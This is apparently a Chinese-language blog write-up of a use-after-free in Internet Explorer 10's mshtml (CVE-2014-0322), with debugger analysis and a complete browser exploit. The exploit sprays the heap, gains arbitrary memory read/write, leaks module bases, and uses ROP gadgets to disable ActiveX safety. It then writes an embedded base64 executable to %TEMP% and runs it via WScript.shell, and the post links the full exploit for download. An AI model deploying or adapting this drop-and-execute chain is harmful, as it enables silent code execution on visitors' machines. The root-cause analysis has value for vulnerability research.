1. 漏洞分析

由于这是关于堆的漏洞,为了方便分析先用gflags开启iexplore.exeHPAUST,然后用WinDbg附加IE进程后访问POC页面

<html>
<head>
</head>
<body>
<script>
function handler() {
    this.outerHTML = this.outerHTML;
}

function trigger() {
    var a = document.getElementsByTagName("script")[0];
    a.onpropertychange = handler;
    var b = document.createElement("div");
    b = a.appendChild(b);
}

trigger();
</script>
</body>
</html>

访问后造成Crash image_1b8om95s2q1sk7l1t2g17r617gg9.png-11.3kB

查看下esi指向的堆 image_1b8omnjpr31514rk1a2v1gdfnem.png-35.3kB

可以看到esi指向了释放后的堆,并从堆的栈回溯可以知道是this.outerHTML = this.outerHTML释放了堆,再查看下栈回溯 image_1b8onef0gehe1ntb1nmnk9j2jp1g.png-29.2kB

到这就清楚了造成漏洞的原因,先是this.outerHTML = this.outerHTML释放了堆,之后调用appendChild时又使用了之前释放的堆,非常典型的UAF。

2. 漏洞利用

查看下发生错误的位置 image_1b8on5liu190n1d2polje74135t13.png-9.7kB

错误发生在mshtml+0x22100c的位置,首先尝试下马上对释放后的堆进行占位,关闭HPA和UST,然后下断点bp mshtml + 0x22100c访问页面

<html>
<head>
</head>
<body>
<script>
function handler() {
    this.outerHTML = this.outerHTML;
    elem = document.createElement("div");
    elem.className = new Array(416).join("a");        // (0x1000 - (@esi & 0xfff))/2 - 1
}

function trigger() {
    var a = document.getElementsByTagName("script")[0];
    a.onpropertychange = handler;
    var b = document.createElement("div");
    b = a.appendChild(b);
}

trigger();
</script>
</body>
</html>

可以看到成功进行了占位 image_1b8qkvhp7nls13tg151urvbekj1t.png-217.3kB

之后用IDA来分析下mshtml.dll image_1b8qlo1ji11gf1s1h87meg6s102a.png-66.5kB

接下来看下UpdateMarkupContentsVersion中的逻辑 image_1b8qmsi246331d281mh91ipjnc62n.png-145.8kB

总结下内存布局

Object size = 0x340 = 832
offset: value
    94h: 0c0af010h
        (X = [obj_addr+94h] = 0c0af010h ==> Y = [X+0ch] = raw_buf_addr ==> [Y+1c0h] is 0)
    0ach: 0c0af00bh
        (X = [obj_addr+0ach] = 0c0af00bh ==> inc dword ptr [X+10h] ==> inc dword ptr [0c0af01bh])
    1a4h: 11111h
        (X = [obj_addr+1a4h] = 11111h < 15f90h)

3. EXP

<html>
<head>
<script language="javascript">
  function getFiller(n) {
    return new Array(n+1).join("a");
  }
 
  function getDwordStr(val) {
    return String.fromCharCode(val % 0x10000, val / 0x10000);
  }
 
  function handler() {
    this.outerHTML = this.outerHTML;

    // Object size = 0x340 = 832
    // offset: value
    //    94h: 0c0af010h
    //         (X = [obj_addr+94h] = 0c0af010h ==> Y = [X+0ch] = raw_buf_addr ==> [Y+1c0h] is 0)
    //   0ach: 0c0af00bh
    //         (X = [obj_addr+0ach] = 0c0af00bh ==> inc dword ptr [X+10h] ==> inc dword ptr [0c0af01bh])
    //   1a4h: 11111h
    //         (X = [obj_addr+1a4h] = 11111h < 15f90h)
    elem = document.createElement("div");
    elem.className = getFiller(0x94/2) + getDwordStr(0xc0af010) +
                     getFiller((0xac - (0x94 + 4))/2) + getDwordStr(0xc0af00b) +
                     getFiller((0x1a4 - (0xac + 4))/2) + getDwordStr(0x11111) +
                     getFiller((0x340 - (0x1a4 + 4))/2 - 1);        // -1 for string-terminating null wchar
  }
 
  function trigger() {
      var a = document.getElementsByTagName("script")[0];
      a.onpropertychange = handler;
      var b = document.createElement("div");
      b = a.appendChild(b);
  }

  (function() {
//    alert("Starting!");
    
    CollectGarbage();

    //-----------------------------------------------------
    // From one-byte-write to full process space read/write
    //-----------------------------------------------------
 
    a = new Array();
 
    // 8-byte header | 0x58-byte LargeHeapBlock
    // 8-byte header | 0x58-byte LargeHeapBlock
    // 8-byte header | 0x58-byte LargeHeapBlock
    // .
    // .
    // .
    // 8-byte header | 0x58-byte LargeHeapBlock
    // 8-byte header | 0x58-byte ArrayBuffer (buf)
    // 8-byte header | 0x58-byte ArrayBuffer (buf2)
    // 8-byte header | 0x58-byte ArrayBuffer (buf3)
    // 8-byte header | 0x58-byte ArrayBuffer (buf4)
    // 8-byte header | 0x58-byte ArrayBuffer (buf5)
    // 8-byte header | 0x58-byte LargeHeapBlock
    // .
    // .
    // .
    for (i = 0; i < 0x300; ++i) {
      a[i] = new Array(0x3c00);
      if (i == 0x100) {
        buf = new ArrayBuffer(0x58);        // must be exactly 0x58!
        buf2 = new ArrayBuffer(0x58);       // must be exactly 0x58!
        buf3 = new ArrayBuffer(0x58);       // must be exactly 0x58!
        buf4 = new ArrayBuffer(0x58);       // must be exactly 0x58!
        buf5 = new ArrayBuffer(0x58);       // must be exactly 0x58!
      }
      for (j = 0; j < a[i].length; ++j)
        a[i][j] = 0x123;
    }
    
    //    0x0:  ArrayDataHead
    //   0x20:  array[0] address
    //   0x24:  array[1] address
    //   ...
    // 0xf000:  Int32Array
    // 0xf030:  Int32Array
    //   ...
    // 0xffc0:  Int32Array
    // 0xfff0:  align data
    for (; i < 0x300 + 0x400; ++i) {
      a[i] = new Array(0x3bf8)
      for (j = 0; j < 0x55; ++j)
        a[i][j] = new Int32Array(buf)
    }
    
    //            vftptr
    // 0c0af000: 70583b60 031c98a0 00000000 00000003 00000004 00000000 20000016 08ce0020
    // 0c0af020: 03133de0                                             array_len buf_addr
    //          jsArrayBuf
    // We increment the highest byte of array_len 20 times (which is equivalent to writing 0x20).
    for (var k = 0; k < 0x20; ++k)
      trigger();
    
    // Now let's find the Int32Array whose length we modified.
    int32array = 0;
    for (i = 0x300; i < 0x300 + 0x400; ++i) {
      for (j = 0; j < 0x55; ++j) {
        if (a[i][j].length != 0x58/4) {
          int32array = a[i][j];
          break;
        }
      }
      if (int32array != 0)
        break;
    }
    
    if (int32array == 0) {
//      alert("Can't find int32array!");
      window.location.reload();
      return;
    }
 
    // This is just an example.
    // The buffer of int32array starts at 03c1f178 and is 0x58 bytes.
    // The next LargeHeapBlock, preceded by 8 bytes of header, starts at 03c1f1d8.
    // The value in parentheses, at 03c1f178+0x60+0x24, points to the following
    // LargeHeapBlock.
    //
    // 03c1f178: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
    // 03c1f198: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
    // 03c1f1b8: 00000000 00000000 00000000 00000000 00000000 00000000 014829e8 8c000000
    // ... we added four more raw buffers ...
    // 03c1f1d8: 70796e18 00000003 08100000 00000010 00000001 00000000 00000004 0810f020
    // 03c1f1f8: 08110000(03c1f238)00000000 00000001 00000001 00000000 03c15b40 08100000
    // 03c1f218: 00000000 00000000 00000000 00000004 00000001 00000000 01482994 8c000000
    // 03c1f238: ...

    // We check that the structure above is correct (we check the first LargeHeapBlocks).
    // 70796e18 = jscript9!LargeHeapBlock::`vftable' = jscript9 + 0x6e18
    var vftptr1 = int32array[0x60*5/4],
        vftptr2 = int32array[0x60*6/4],
        vftptr3 = int32array[0x60*7/4],
        nextPtr1 = int32array[(0x60*5+0x24)/4],
        nextPtr2 = int32array[(0x60*6+0x24)/4],
        nextPtr3 = int32array[(0x60*7+0x24)/4];
    if (vftptr1 & 0xffff != 0x6e18 || vftptr1 != vftptr2 || vftptr2 != vftptr3 ||
        nextPtr2 - nextPtr1 != 0x60 || nextPtr3 - nextPtr2 != 0x60) {
//      alert("Error 1!");
      window.location.reload();
      return;
    }  
    
    buf_addr = nextPtr1 - 0x60*6;
    
    // Now we modify int32array again to gain full address space read/write access.
    if (int32array[(0x0c0af000+0x1c - buf_addr)/4] != buf_addr) {
//      alert("Error 2!");
      window.location.reload();
      return;
    }  
    int32array[(0x0c0af000+0x18 - buf_addr)/4] = 0x20000000;        // new length
    int32array[(0x0c0af000+0x1c - buf_addr)/4] = 0;                 // new buffer address
 
    function read(address) {
      var k = address & 3;
      if (k == 0) {
        // ####
        return int32array[address/4];
      }
      else {
        alert("to debug");
        // .### #... or ..## ##.. or ...# ###.
        return (int32array[(address-k)/4] >> k*8) |
               (int32array[(address-k+4)/4] << (32 - k*8));
      }
    }
    
    function write(address, value) {
      var k = address & 3;
      if (k == 0) {
        // ####
        int32array[address/4] = value;
      }
      else {
        // .### #... or ..## ##.. or ...# ###.
        alert("to debug");
        var low = int32array[(address-k)/4];
        var high = int32array[(address-k+4)/4];
        var mask = (1 << k*8) - 1;  // 0xff or 0xffff or 0xffffff
        low = (low & mask) | (value << k*8);
        high = (high & (0xffffffff - mask)) | (value >> (32 - k*8));
        int32array[(address-k)/4] = low;
        int32array[(address-k+4)/4] = high;
      }
    }
    
    //---------
    // God mode
    //---------
    
    // At 0c0af000 we can read the vfptr of an Int32Array:
    //   jscript9!Js::TypedArray<int>::`vftable' @ jscript9+3b60
    jscript9 = read(0x0c0af000) - 0x3b60;
    
    // Now we need to determine the base address of MSHTML. We can create an HTML
    // object and write its reference to the address 0x0c0af000-4 which corresponds
    // to the last element of one of our arrays.
    // Let's find the array at 0x0c0af000-4.
    
    for (i = 0x200; i < 0x200 + 0x400; ++i)
      a[i][0x3bf7] = 0;
    
    // We write 3 in the last position of one of our arrays. IE encodes the number x
    // as 2*x+1 so that it can tell addresses (dword aligned) and numbers apart.
    // Either we use an odd number or a valid address otherwise IE will crash in the
    // following for loop.
    write(0x0c0af000-4, 3);
 
    leakArray = 0;
    for (i = 0x200; i < 0x200 + 0x400; ++i) {
      if (a[i][0x3bf7] != 0) {
        leakArray = a[i];
        break;
      }
    }
    if (leakArray == 0) {
//      alert("Can't find leakArray!");
      window.location.reload();
      return;
    }
    
    function get_addr(obj) {
      leakArray[0x3bf7] = obj;
      return read(0x0c0af000-4, obj);
    }
    
    // Back to determining the base address of MSHTML...
    // Here's the beginning of the element div:
    //      +----- jscript9!Projection::ArrayObjectInstance::`vftable'
    //      v
    //   70792248 0c012b40 00000000 00000003
    //   73b38b9a 00000000 00574230 00000000
    //      ^
    //      +---- MSHTML!CBaseTypeOperations::CBaseFinalizer = mshtml + 0x58b9a
    var addr = get_addr(document.createElement("div"));
    mshtml = read(addr + 0x10) - 0x58b9a;

    //                                                  vftable
    //                                    +-----> +------------------+
    //                                    |       |                  |
    //                                    |       |                  |
    //                                    |  0x10:| jscript9+0x10705e| --> "XCHG EAX,ESP | ADD EAX,71F84DC0 |
    //                                    |       |                  |      MOV EAX,ESI | POP ESI | RETN"
    //                                    |  0x14:| jscript9+0xdc164 | --> "LEAVE | RET 4"
    //                                    |       +------------------+
    //                 object             |
    // EAX ---> +-------------------+     |
    //          | vftptr            |-----+
    //          | jscript9+0x15f800 | --> "XOR EAX,EAX | RETN"
    //          | jscript9+0xf3baf  | --> "XCHG EAX,EDI | RETN"
    //          | jscript9+0xdc361  | --> "LEAVE | RET 4"
    //          +-------------------+

    var old = read(mshtml+0xc555e0+0x14);

    write(mshtml+0xc555e0+0x14, jscript9+0xdc164);      // God Mode On!
    var shell = new ActiveXObject("WScript.shell");
    write(mshtml+0xc555e0+0x14, old);                   // God Mode Off!

    addr = get_addr(ActiveXObject);
    var pp_obj = read(read(addr + 0x28) + 4) + 0x1f0;       // ptr to ptr to object
    var old_objptr = read(pp_obj);
    var old_vftptr = read(old_objptr);
    
    // Create the new vftable.
    var new_vftable = new Int32Array(0x708/4);
    for (var i = 0; i < new_vftable.length; ++i)
      new_vftable[i] = read(old_vftptr + i*4);
    new_vftable[0x10/4] = jscript9+0x10705e;
    new_vftable[0x14/4] = jscript9+0xdc164;
    var new_vftptr = read(get_addr(new_vftable) + 0x1c);        // ptr to raw buffer of new_vftable
    
    // Create the new object.
    var new_object = new Int32Array(4);
    new_object[0] = new_vftptr;
    new_object[1] = jscript9 + 0x15f800;
    new_object[2] = jscript9 + 0xf3baf;
    new_object[3] = jscript9 + 0xdc361;
    var new_objptr = read(get_addr(new_object) + 0x1c);         // ptr to raw buffer of new_object
    
    function GodModeOn() {
      write(pp_obj, new_objptr);
    }
    
    function GodModeOff() {
      write(pp_obj, old_objptr);
    }
    
    // content of exe file encoded in base64.
    runcalc = 'TVqQAAMAAAAEAAAA//8AALgAAAAAAA <snipped> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA';
 
    function createExe(fname, data) {
      GodModeOn();
      var tStream = new ActiveXObject("ADODB.Stream");
      var bStream = new ActiveXObject("ADODB.Stream");
      GodModeOff();
      
      tStream.Type = 2;       // text
      bStream.Type = 1;       // binary
      tStream.Open();
      bStream.Open();
      tStream.WriteText(data);
      tStream.Position = 2;       // skips the first 2 bytes in the tStream (what are they?)
      tStream.CopyTo(bStream);
      
      var bStream_addr = get_addr(bStream);
      var string_addr = read(read(bStream_addr + 0x50) + 0x44);
      write(string_addr, 0x003a0043);       // 'C:'
      write(string_addr + 4, 0x0000005c);   // '\'
      try {
        bStream.SaveToFile(fname, 2);     // 2 = overwrites file if it already exists
      }
      catch(err) {
        return 0;
      }
      
      tStream.Close();
      bStream.Close();
      return 1;
    }
    
    function decode(b64Data) {
      var data = window.atob(b64Data);
      
       // Now data is like
      //   11 00 12 00 45 00 50 00 ...
      // rather than like
      //   11 12 45 50 ...
      // Let's fix this!
      var arr = new Array();
      for (var i = 0; i < data.length / 2; ++i) {
        var low = data.charCodeAt(i*2);
        var high = data.charCodeAt(i*2 + 1);
        arr.push(String.fromCharCode(low + high * 0x100));
      }
      return arr.join('');
    }

    fname = shell.ExpandEnvironmentStrings("%TEMP%\\runcalc.exe");
    if (createExe(fname, decode(runcalc)) == 0) {
//      alert("SaveToFile failed");
      window.location.reload();
      return 0;
    }
    shell.Exec(fname);

//    alert("All done!");
  })();

</script>
</head>
<body>
</body>
</html>

这个EXP主要是通过关闭ActiveXObject的警告框(上帝模式)使用WScript.shellADODB.Stream来实现 image_1b8qnjuc6v4q1paqcmu1nvv1edt34.png-106.3kB

完整EXP下载地址:https://github.com/birdg0/exp/blob/master/browser/ie10-cve-2014-0322-exp.html